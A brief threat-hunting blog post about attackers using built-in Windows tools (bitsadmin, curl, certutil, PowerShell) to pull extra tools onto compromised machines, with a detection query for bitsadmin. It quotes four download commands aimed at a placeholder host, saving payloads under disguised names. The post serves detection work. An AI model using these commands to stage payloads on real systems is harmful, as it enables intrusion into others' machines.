333. Adversaries Use Multiple LOLBINs for Ingress Tool Transfer

Hello everyone!

In almost every case adversaries need to download additional tools to the compromised system. Very often they use LOLBINs to solve this task. Let's look at some of them.

For example, according to this report, the adversary leveraged multiple LOLBINs:

bitsadmin /transfer www /download http://<HOST>/winupdate.exe $public\libraries\winvt.exe

curl -o $public\libraries\service.exe http://<HOST>/service.exe

certutil -urlcache -f https://<HOST>/AkelPad.rar $public\libraries\AkelPad.rar

powershell.exe -Command powershell -Command "Invoke-WebRequest -Uri 'https://<HOST>/winupdate.exe' -OutFile '$public\pictures\sbschost.exe'

Such activities are great targets for hunting and detection. So, make sure you are covering it.

For example, BITSAdmin:

event_type: "processcreatewin"

AND

proc_file_path: "bitsadmin.exe"

AND

cmdline: "transfer"

See you tomorrow!

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